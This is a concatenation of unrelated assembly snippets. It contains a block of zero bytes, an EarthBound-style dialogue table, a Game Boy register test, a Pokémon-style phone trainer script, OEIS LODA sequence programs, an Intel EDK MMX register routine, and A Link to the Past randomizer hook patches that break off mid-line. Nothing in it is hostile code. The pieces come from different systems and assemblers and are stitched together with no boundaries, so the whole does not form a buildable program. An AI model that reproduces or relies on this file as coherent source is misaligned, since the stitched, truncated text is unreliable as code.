00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.loadtable "data/flyover-table.tbl" .strn "\n" .strn "\n" .strn 01h, 1Ch, "Like a great tapestry, vertical and\n" .strn 01h, 1Ch, "horizontal threads have met and\n" .strn 01h, 1Ch, "become intertwined, creating a\n" .strn 01h, 1Ch, "huge, beautiful image.\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn 01h, 1Ch, "You may have cursed this never-\n" .strn 01h, 1Ch, "ending journey. You have known\n" .strn 01h, 1Ch, "injury and defeat, but you have\n" .strn 01h, 1Ch, "struggled on to reach this place.\n" .strn 01h, 1Ch, "Your in-born intelligence and\n" .strn 01h, 1Ch, "courage have helped bring you\n" .strn 01h, 1Ch, "here. You have believed in your\n" .strn 01h, 1Ch, "friends, and as a group, you have\n" .strn 01h, 1Ch, "supported each other. Have you\n" .strn 01h, 1Ch, "ever stopped to consider how\n" .strn 01h, 1Ch, "much your power has grown?\n" .strn 01h, 1Ch, "Now, you could fell enemies in\n" .strn 01h, 1Ch, "Onett and Twoson with one\n" .strn 01h, 1Ch, "blow. As you certainly know,\n" .strn 01h, 1Ch, "you cannot turn back. Giygas,\n" .strn 01h, 1Ch, "the arch fiend of the universe, is\n" .strn 01h, 1Ch, "growing frightened of you and\n" .strn 01h, 1Ch, "your power. He is searching for\n" .strn 01h, 1Ch, "ways to end your journey.\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn 01h, 1Ch, "From here, the challenge grows\n" .strn 01h, 1Ch, "and your adventure will take you\n" .strn 01h, 1Ch, "beyond anything you ever\n" .strn 01h, 1Ch, "imagined. You are drawing near\n" .strn 01h, 1Ch, "to Giygas. Remember, when you\n" .strn 01h, 1Ch, "are suffering hardships, your\n" .strn 01h, 1Ch, "enemy is also struggling.\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn 01h, 1Ch, "By the way, do you know where\n" .strn 01h, 1Ch, "Pokey went? When this cup of\n" .strn 01h, 1Ch, "tea is finished, your adventure will\n" .strn 01h, 1Ch, "continue. Your destiny pulls you\n" .strn 01h, 1Ch, "in the right direction. Believe in\n" .strn 01h, 1Ch, "yourself and press forward.\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn 01h, 12h, "\cness!\n" .strn 01h, 12h, " \cpaula!\n" .strn 01h, 12h, " \cjeff!\n" .strn 01h, 12h, " \cpoo!\n" .strn "\n" .strn "\n" .strn 01h, 1Ch, "I wish you luck...\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .strn "\n" .str "\n"
.size 8000 .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld b, 92 ld c, 44 lbegin_waitly92: ldff a, (c) cmp a, b jrnz lbegin_waitly92 ld a, 00 ldff(40), a ld a, 66 ldff(40), a ldff(41), a ldff(42), a ldff(43), a ldff(44), a ldff(45), a ldff(47), a ldff(48), a ldff(49), a ldff(4a), a ldff(4b), a ld a, 91 ldff(40), a ldff a, (40) ldff(80), a ldff a, (41) ldff(81), a ldff a, (42) ldff(82), a ldff a, (43) ldff(83), a ldff a, (44) ldff(84), a ldff a, (45) ldff(85), a ldff a, (47) ldff(86), a ldff a, (48) ldff(87), a ldff a, (4a) ldff(88), a ldff a, (4b) ldff(89), a jp lprint_hiram .text@7000 lprint_hiram: ld c, 44 ld b, 91 lprint_waitly91: ldff a, (c) cmp a, b jrnz lprint_waitly91 xor a, a ldff(40), a ld bc, 7a00 ld hl, 8000 ld d, 00 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ld hl, 9800 ld c, 80 ld b, 0a lprint_set_bgmap_from_hiram: ldff a, (c) rrca rrca rrca rrca and a, 0f ld(hl++), a ldff a, (c) and a, 0f ld(hl++), a inc c dec b jrnz lprint_set_bgmap_from_hiram xor a, a ldff(42), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f 00 00 08 08 22 22 41 41 7f 7f 41 41 41 41 41 41 00 00 7e 7e 41 41 41 41 7e 7e 41 41 41 41 7e 7e 00 00 3e 3e 41 41 40 40 40 40 40 40 41 41 3e 3e 00 00 7e 7e 41 41 41 41 41 41 41 41 41 41 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 40 40
GavenPhoneCalleeScript: gettrainername STRING_BUFFER_3, COOLTRAINERM, GAVEN3 checkflag ENGINE_GAVEN iftrue .WantsBattle farscall PhoneScript_AnswerPhone_Male checkflag ENGINE_GAVEN_THURSDAY_MORNING iftrue .NotThursday readvar VAR_WEEKDAY ifnotequal THURSDAY, .NotThursday checktime MORN iftrue GavenThursdayMorning .NotThursday: farsjump UnknownScript_0xa0910 .WantsBattle: getlandmarkname STRING_BUFFER_5, ROUTE_101 farsjump UnknownScript_0xa0a37 GavenPhoneCallerScript: gettrainername STRING_BUFFER_3, COOLTRAINERM, GAVEN3 farscall PhoneScript_GreetPhone_Male checkflag ENGINE_GAVEN iftrue .WaitingForBattle checkflag ENGINE_GAVEN_THURSDAY_MORNING iftrue .WaitingForBattle farscall PhoneScript_Random2 ifequal 0, GavenWantsRematch .WaitingForBattle: farscall PhoneScript_Random3 ifequal 0, GavenFoundRare farsjump Phone_GenericCall_Male GavenThursdayMorning: setflag ENGINE_GAVEN_THURSDAY_MORNING GavenWantsRematch: getlandmarkname STRING_BUFFER_5, ROUTE_101 setflag ENGINE_GAVEN farsjump PhoneScript_WantsToBattle_Male GavenFoundRare: farsjump Phone_CheckIfUnseenRare_Male
; A266258: Number of OFF (white) cells in the n-th iteration of the "Rule 11" elementary cellular automaton starting with a single ON (black) cell. ; 0,2,3,2,7,2,11,2,15,2,19,2,23,2,27,2,31,2,35,2,39,2,43,2,47,2,51,2,55,2,59,2,63,2,67,2,71,2,75,2,79,2,83,2,87,2,91,2,95,2,99,2,103,2,107,2,111,2,115,2,119,2,123,2,127,2,131,2,135,2,139,2,143,2,147,2,151,2,155,2,159,2,163,2,167,2,171,2,175,2,179,2,183,2,187,2,191,2,195,2 mov $1,$0 add $0,1 mod $0,2 pow $1,$0 sub $0,$1 trn $1,$0 mov $0,$1
; A147795: If n=A000695(k_n)+2*A000695(l_n), then a(n) is the number of nonnegative integers m<n such that k_m differs from k_n and l_m differs from l_n. ; 0,0,1,1,2,2,3,3,6,6,7,7,8,8,9,9,12,12,13,13,14,14,15,15,18,18,19,19,20,20,21,21,28,28,29,29,30,30,31,31,34,34,35,35,36,36,37,37,40,40,41,41,42,42,43,43,46,46,47,47,48,48,49,49 mov $8,$0 add $8,1 lpb $8 clr $0,6 sub $8,1 sub $0,$8 lpb $0 gcd $0,128 add $0,1 lpb $0 sub $0,5 add $3,1 lpe add $0,3 lpe add $7,$3 lpe mov $1,$7
; A120787: Denominators of partial sums of Catalan numbers scaled by powers of 1/20. ; Submitted by Christian Krause ; 1,20,200,1600,80000,1600000,16000000,1280000000,2560000000,256000000000,2560000000000,102400000000000,1024000000000000,4096000000000000,40960000000000000,6553600000000000000 mul $0,2 mov $1,1 lpb $0 mov $2,$0 sub $0,1 add $3,$1 mul $3,$0 sub $0,1 mul $1,5 add $2,2 mul $1,$2 lpe gcd $3,$1 div $1,$3 mov $0,$1
; A022387: Fibonacci sequence beginning 4, 30. ; 4,30,34,64,98,162,260,422,682,1104,1786,2890,4676,7566,12242,19808,32050,51858,83908,135766,219674,355440,575114,930554,1505668,2436222,3941890,6378112,10320002,16698114,27018116,43716230,70734346,114450576,185184922,299635498,484820420,784455918,1269276338,2053732256,3323008594,5376740850,8699749444,14076490294,22776239738,36852730032,59628969770,96481699802,156110669572,252592369374,408703038946,661295408320,1069998447266,1731293855586,2801292302852,4532586158438,7333878461290,11866464619728,19200343081018,31066807700746,50267150781764,81333958482510,131601109264274,212935067746784,344536177011058,557471244757842,902007421768900,1459478666526742,2361486088295642,3820964754822384,6182450843118026,10003415597940410,16185866441058436,26189282038998846,42375148480057282,68564430519056128,110939578999113410,179504009518169538,290443588517282948,469947598035452486,760391186552735434,1230338784588187920,1990729971140923354,3221068755729111274,5211798726870034628,8432867482599145902,13644666209469180530,22077533692068326432,35722199901537506962,57799733593605833394,93521933495143340356,151321667088749173750,244843600583892514106,396165267672641687856,641008868256534201962,1037174135929175889818,1678183004185710091780,2715357140114885981598,4393540144300596073378,7108897284415482054976 mov $1,2 mov $3,15 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 add $3,$2 lpe add $1,1 mul $1,2 sub $1,6 div $1,2 mul $1,2 add $1,4 mov $0,$1
; A125128: a(n) = 2^(n+1) - n - 2, or partial sums of main diagonal of array A125127 of k-step Lucas numbers. ; 1,4,11,26,57,120,247,502,1013,2036,4083,8178,16369,32752,65519,131054,262125,524268,1048555,2097130,4194281,8388584,16777191,33554406,67108837,134217700,268435427,536870882,1073741793,2147483616,4294967263,8589934558,17179869149,34359738332,68719476699,137438953434,274877906905,549755813848,1099511627735,2199023255510,4398046511061,8796093022164,17592186044371,35184372088786,70368744177617,140737488355280,281474976710607,562949953421262,1125899906842573,2251799813685196,4503599627370443,9007199254740938,18014398509481929,36028797018963912,72057594037927879,144115188075855814,288230376151711685,576460752303423428,1152921504606846915,2305843009213693890,4611686018427387841,9223372036854775744,18446744073709551551,36893488147419103166,73786976294838206397,147573952589676412860,295147905179352825787,590295810358705651642,1180591620717411303353,2361183241434822606776,4722366482869645213623,9444732965739290427318,18889465931478580854709,37778931862957161709492,75557863725914323419059,151115727451828646838194,302231454903657293676465,604462909807314587353008,1208925819614629174706095,2417851639229258349412270,4835703278458516698824621,9671406556917033397649324,19342813113834066795298731,38685626227668133590597546,77371252455336267181195177,154742504910672534362390440,309485009821345068724780967,618970019642690137449562022,1237940039285380274899124133,2475880078570760549798248356,4951760157141521099596496803,9903520314283042199192993698,19807040628566084398385987489,39614081257132168796771975072,79228162514264337593543950239,158456325028528675187087900574,316912650057057350374175801245,633825300114114700748351602588,1267650600228229401496703205275,2535301200456458802993406410650 add $0,2 mov $1,2 pow $1,$0 sub $1,$0 sub $1,1 mov $0,$1
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteMm6.Asm ; ; Abstract: ; ; AsmWriteMm6 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; AsmWriteMm6 ( ; IN UINT64 Value ; ); ;------------------------------------------------------------------------------ AsmWriteMm6 PROC ; ; 64-bit MASM doesn't support MMX instructions, so use opcode here ; DB 48h, 0fh, 6eh, 0f1h ret AsmWriteMm6 ENDP END
; A146029: Numbers that can be written from base 2 to base 17 using only the digits 0 to 8 (conjectured to be complete). ; 0,1,2,3,4,5,6,7,8,17,18 mov $1,$0 lpb $0,1 add $1,8 mov $0,5 add $0,3 lpe
;================================================================================ ; Init Hook ;-------------------------------------------------------------------------------- org $00802F ; <- 2F - Bank00.asm : 45 JSL.l Init_Primary NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Frame Hook ;-------------------------------------------------------------------------------- org $008056 ; <- 56 - Bank00.asm : 77 JSL.l FrameHookAction ;-------------------------------------------------------------------------------- ;================================================================================ ; NMI Hook ;-------------------------------------------------------------------------------- org $0080CC ; <- CC - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) JML.l NMIHookAction org $0080D0 ; <- D0 - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) NMIHookReturn: ;-------------------------------------------------------------------------------- ;org $00821B ; <- 21B - Bank00.asm : 329 (LDA $13 : STA $2100) ;JML.l PostNMIHookAction : NOP ;PostNMIHookReturn: ;-------------------------------------------------------------------------------- ;================================================================================ ; Anti-ZSNES Hook ;-------------------------------------------------------------------------------- ;org $008023 ;<- 23 - Bank00.asm : 36 (LDA.w #$01FF : TCS) ;JML.l CheckZSNES ;ReturnCheckZSNES: ;-------------------------------------------------------------------------------- ;================================================================================ ; Dungeon Entrance Hook (works, but not needed at the moment) ;-------------------------------------------------------------------------------- ;org $02D8C7 ; <- 158C7 - Bank02.asm : 10981 (STA $7EC172) ;JSL.l OnDungeonEntrance ;-------------------------------------------------------------------------------- ;================================================================================ ; D-Pad Invert ;-------------------------------------------------------------------------------- org $0083D9 ; <- 3D9 - Bank00.asm : 611 (LDA $4219 : STA $01) JSL.l alttp_mw_check_softreset : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Dungeon Exit Hook ;-------------------------------------------------------------------------------- org $02E21B ; <- 1621B - Bank02.asm : 11211 (STA $040C) JSL.l OnDungeonExit : NOP #2 ;-------------------------------------------------------------------------------- ;================================================================================ ; Infinite Bombs / Arrows / Magic ;-------------------------------------------------------------------------------- ; org $08A17A ; <- 4217A - ancilla_arrow.asm : 42 (AND.b #$04 : BEQ .dont_spawn_sparkle) ; CMP.b #$03 : db #$90 ; !BLT ; org $08A40E ; <- 4240E - ancilla_arrow.asm : 331 (AND.b #$04 : BNE .use_silver_palette) ; CMP.b #$03 : db #$B0 ; !BGE ; ;-------------------------------------------------------------------------------- ; org $098127 ; <- 48127 - ancilla_init.asm : 202 (LDA $7EF343 : BNE .player_has_bombs) ; JSL.l LoadBombCount ; org $098133 ; <- 48133 - ancilla_init.asm : 211 (STA $7EF343 : BNE .bombs_left_over) ; JSL.l StoreBombCount ; ;-------------------------------------------------------------------------------- ; org $0DE4BF ; <- 6E4BF - equipment.asm : 1249 (LDA $7EF343 : AND.w #$00FF : BEQ .gotNoBombs) ; JSL.l LoadBombCount16 ; ;-------------------------------------------------------------------------------- ; org $0DDEB3 ; <- 6DEB3 - equipment.asm : 328 (LDA $7EF33F, X) ; JSL.l IsItemAvailable ; ;-------------------------------------------------------------------------------- ; org $0DFC5B ; <- 6FC5B - headsup_display.asm : 839 (LDA .mp_tilemap+0, X : STA $7EC746) ; JSL.l DrawMagicMeter : JMP.w + : NOP #21 : + ; ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Inverted Mode ; ;-------------------------------------------------------------------------------- ; org $028413 ; <- 10413 - Bank02.asm : 853 (LDA $7EF357 : BNE .notBunny) ; NOP #6 ; JSL.l DecideIfBunny : db #$D0 ; BNE ; ;-------------------------------------------------------------------------------- ; org $07AA44 ; <- 3AA44 - Bank07.asm : 853 (LDA $7EF357 : BNE .playerHasMoonPearl) ; NOP #6 ; JSL.l DecideIfBunnyByScreenIndex : db #$D0 ; BNE ; ;-------------------------------------------------------------------------------- ; org $02D9B9 ; <- 159B9 - Bank02.asm : 11089 (LDA $7EF3C8) ; JSL AllowStartFromSingleEntranceCave ; ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Hash Key Display ; ;-------------------------------------------------------------------------------- ; org $0CCDB5 ; <- 64DB5 - Bank0C.asm : 1776 (LDA.b #$06 : STA $14) ; JSL.l PrepHashAlphabet ; ;-------------------------------------------------------------------------------- ; ================================================================================ ; Agahnim 0bb ; -------------------------------------------------------------------------------- ;org $1ED6EF ; <- F56EF - sprite_agahnim.asm : 636 (JSL GetRandomInt : AND.b #$01 : BNE BRANCH_GAMMA) ;NOP #18 ; -------------------------------------------------------------------------------- ;================================================================================ ; Zelda Sprite Fixes ;-------------------------------------------------------------------------------- org $05EBCF ; <- 2EBCF - sprite_zelda.asm : 23 (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword) JSL.l SpawnZelda : NOP #2 ;NOP #8 ;-------------------------------------------------------------------------------- ;org $06C06F ; <- 3406F - Bank06.asm : 1794 (JSL Sprite_ZeldaLong) ;JSL.l SpawnZelda ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Alternate Goal ; ;-------------------------------------------------------------------------------- ;Invincible Ganon ;org $06F2C8 ; <- 372C8 - Bank06.asm : 5776 (LDA $44 : CMP.b #$80 : BEQ .no_collision) ;JSL.l GoalItemGanonCheck ; ;-------------------------------------------------------------------------------- ; ;Hammerable Ganon ; org $06F2EA ; <- 372EA - Bank06.asm : 5791 (LDA $0E20, X : CMP.b #$D6 : BCS .no_collision) ; JSL.l CheckGanonHammerDamage : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Stat Hooks ;-------------------------------------------------------------------------------- org $079202 ; 39202 <- Bank07.asm : 2859 (JSL AddDashTremor) JSL.l StatBonkCounter ;-------------------------------------------------------------------------------- ; org $02B797 ; <- 13797 - Bank02.asm : 8712 (LDA.b #$19 : STA $10) ; JSL.l StatsFinalPrep ; ;-------------------------------------------------------------------------------- ; org $07A95B ; <- 3A95B - Bank07.asm : 6565 (JSL Dungeon_SaveRoomData) ; JSL.l IncrementUWMirror ; ; ;-------------------------------------------------------------------------------- ; ; org $0288D1 ; <- 108D1 - Bank02.asm : 1690 (STZ $0646) ; ; JSL.l IndoorSubtileTransitionCounter ; ; NOP #2 ; ; ;-------------------------------------------------------------------------------- ; org $07B574 ; <- 3B574 - Bank07.asm : 8519 (LDA.b #$01 : STA $02E9) ; JSL.l IncrementChestCounter ; NOP ;-------------------------------------------------------------------------------- ;org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F) ;JSL.l IncrementSmallKeys ;-------------------------------------------------------------------------------- ;org $06D18D ; <- 3518D - sprite_absorbable.asm : 274 (LDA $7EF36F : INC A : STA $7EF36F) org $06D192 ; <- 35192 - sprite_absorbable.asm : 274 (STA $7EF36F) JSL.l IncrementSmallKeysNoPrimary ; ;-------------------------------------------------------------------------------- ; org $00F945 ; <- 7945 - Bank00.asm : 8557 (JSL SavePalaceDeaths) ; JSL.l StatTransitionCounter ; we're not bothering to restore the instruction we wrote over ; ;-------------------------------------------------------------------------------- org $09F443 ; <- 4F443 - module_death.asm : 257 (STA $7EF35C, X) JSL.l IncrementFairyRevivalCounter ; ;-------------------------------------------------------------------------------- ; org $02B6F3 ; <- 136F3 - Bank02.asm : 8600 (LDA.b #$0F : STA $10) ; JSL.l DungeonExitTransition ; ;-------------------------------------------------------------------------------- ; org $1BBD6A ; <- DBD6A - Bank1B.asm : 301 (LDA.b #$0F : STA $10) ; JSL.l DungeonExitTransition ; ;-------------------------------------------------------------------------------- ; org $01C3A7 ; <- C3A7 - Bank01.asm : 9733 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l DungeonStairsTransition ; ;-------------------------------------------------------------------------------- ; org $0BFFAC ; <- 5FFAC - Bank0B.asm : 170 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l DungeonStairsTransition ; ;-------------------------------------------------------------------------------- ; org $029A17 ; <- 11A17 - Bank02.asm : 4770 (JSL EnableForceBlank) ; JSL.l DungeonHoleEntranceTransition ; ;-------------------------------------------------------------------------------- ; org $0794EB ; <- 394EB - Bank07.asm : 3325 (LDA $01C31F, X : STA $0476) ; JSL.l DungeonHoleWarpTransition ; ;-------------------------------------------------------------------------------- ; org $0CC999 ; <- 64999 - Bank0C.asm : 1087 (LDA.b #$0F : STA $13) ; NOP #4 ;-------------------------------------------------------------------------------- ; org $01ED75 ; <- ED75 - Bank01.asm : 13963 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l IncrementBigChestCounter ;-------------------------------------------------------------------------------- ;================================================================================ ; Dialog Override ;-------------------------------------------------------------------------------- ;org $0EEE8D ; 0x76E8D <- vwf.asm : 152 (LDA $7F71C0, X : STA $04) ;JSL.l DialogOverride ;NOP #7 ;-------------------------------------------------------------------------------- org $0EF1FF ; 0x771FF <- vwf.asm : 1212 (LDA $7F1200, X : AND.w #$007F : SUB.w #$0066 : BPL .commandByte) JSL.l DialogOverride org $0EF2DC ; every other LDA $7F1200, X in vwf.asm JSL.l DialogOverride org $0EF315 JSL.l DialogOverride org $0EF332 JSL.l DialogOverride org $0EF375 JSL.l DialogOverride org $0EF394 JSL.l DialogOverride org $0EF511 JSL.l DialogOverride org $0EF858 JSL.l DialogOverride org $0EFA26 JSL.l DialogOverride org $0EFA4C JSL.l DialogOverride org $0EFAB4 JSL.l DialogOverride org $0EFAC8 JSL.l DialogOverride org $0EFAE1 JSL.l DialogOverride org $0EFB11 JSL.l DialogOverride ; ;-------------------------------------------------------------------------------- org $0EFBC6 ; <- 77BC6 - vwf.asm : 2717 (LDA.b #$1C : STA $1CE9) JSL.l ResetDialogPointer RTS ; ;-------------------------------------------------------------------------------- ; org $0EED0B ; <- PC 0x76D0B - Bank0E.asm : 3276 (LDA $E924, Y : STA $1008, X) ; JSL.l EndingSequenceTableOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $0EED15 ; <- PC 0x76D15 - Bank0E.asm : 3282 (LDA $E924, Y : STA $1008, X) ; JSL.l EndingSequenceTableOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $0EED2A ; <- PC 0x76D2A - Bank0E.asm : 3295 (LDA $E924, Y : AND.w #$00FF) ; JSL.l EndingSequenceTableLookupOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Master Sword Chest Fix ;-------------------------------------------------------------------------------- ;org $0987d7 ; <- ancilla_init.asm : 1071 ;NOP #4 ;-------------------------------------------------------------------------------- ;================================================================================ ; File Select Init Event ;-------------------------------------------------------------------------------- org $0CCC89 ; <- 0x64C89 Bank0C.asm : 1598 (JSL EnableForceBlank) JSL.l OnInitFileSelect ;-------------------------------------------------------------------------------- ;================================================================================ ; Hyrule Castle Rain Sequence Guards (allowing Gloves in Link's house) ;-------------------------------------------------------------------------------- org $09C8B7 ; <- 4C8B7 dw #CastleRainSpriteData org $09F7BD ; <- 4F7BD CastleRainSpriteData: db $06, $1F, $40, $12, $01, $3F, $14, $01, $3F, $13, $1F, $42, $1A, $1F, $4B, $1A, $20, $4B, $25, $2D, $3F, $29, $20, $3F, $2A, $3C, $3F, $FF ;-------------------------------------------------------------------------------- ;================================================================================ ; Sprite_DrawMultiple ;-------------------------------------------------------------------------------- org $05DFB1 ; <- 2DFB1 - Bank05.asm : 2499 JSL.l SkipDrawEOR ;-------------------------------------------------------------------------------- ;================================================================================ ; Kiki Big Bomb Fix ;-------------------------------------------------------------------------------- org $1EE4AF ; <- f64af sprite_kiki.asm : 285 (LDA.b #$0A : STA $7EF3CC) JSL.l AssignKiki NOP #2 ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Hard & Masochist Mode Fixes ; ;-------------------------------------------------------------------------------- ; org $07D22B ; <- 3D22B - Bank05.asm : 12752 (LDA $D055, Y : STA $0373) ; JSL.l CalculateSpikeFloorDamage : NOP #2 ; ;-------------------------------------------------------------------------------- ; org $08DCC3 ; <- 45CC3 - ancilla_cane_spark.asm : 272 (LDA $7EF36E) ; JSL.l CalculateByrnaUsage ; ;-------------------------------------------------------------------------------- ; org $07AE17 ; <- 3AE17 - Bank07.asm : 7285 (LDA $7EF36E) ; JSL.l CalculateCapeUsage ; ;-------------------------------------------------------------------------------- ; org $07AE98 ; <- 3AE98 - Bank07.asm : 7380 (LDA $7EF36E) ; JSL.l CalculateCapeUsage ; ;-------------------------------------------------------------------------------- ; org $08DCA7 ; <- 45CA7 - ancilla_cane_spark.asm : 256 (LDA.b #$01 : STA $037B) ; JSL.l ActivateInvulnerabilityOrDont : NOP ; ;-------------------------------------------------------------------------------- ; org $06EF1B ; <- 36F1B - Bank06.asm : 5100 (TYA : STA $7FFA3C, X : BEQ BRANCH_DELTA) ; db #$27 ; ;-------------------------------------------------------------------------------- ; org $06EF43 ; <- 36F43 - Bank06.asm : 5117 (LDA.b #$40 : STA $0DF0, X) ; JSL CheckStunItemAction : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Misc Stats ;-------------------------------------------------------------------------------- org $029E2E ; <- 11E2E - module_ganon_emerges.asm : 59 (JSL Dungeon_SaveRoomData.justKeys) JSL.l OnAga2Defeated ;-------------------------------------------------------------------------------- org $0DDBDE ; <- 6DBDE - headsup_display.asm : 105 (DEC A : BPL .subtractRupees) JSL.l IncrementSpentRupees NOP #6 ;org $0DDBF7 ; <- 6DBF7 - headsup_display.asm : 121 (STA $7EF362) ;RefillLogic_subtractRupees: ;-------------------------------------------------------------------------------- ;================================================================================ ; Remove Item Menu Text ;-------------------------------------------------------------------------------- org $0DEBB0 ; <- 6EBB0 - equipment.asm : 1810 (LDA $0202) JMP DrawItem_finished org $0DECE6 ; <- 6ECE6 - equipment.asm : 1934 (SEP #$30) DrawItem_finished: org $0DEB48 ; <- 6EB48 - equipment.asm : 1784 (LDA $0000) LDA $0000, Y : STA $11F2 LDA $0002, Y : STA $11F4 LDA $0040, Y : STA $1232 LDA $0042, Y : STA $1234 ;--------------------------- org $0DE24B ; <- 6E24B - equipment.asm : 951 (LDA 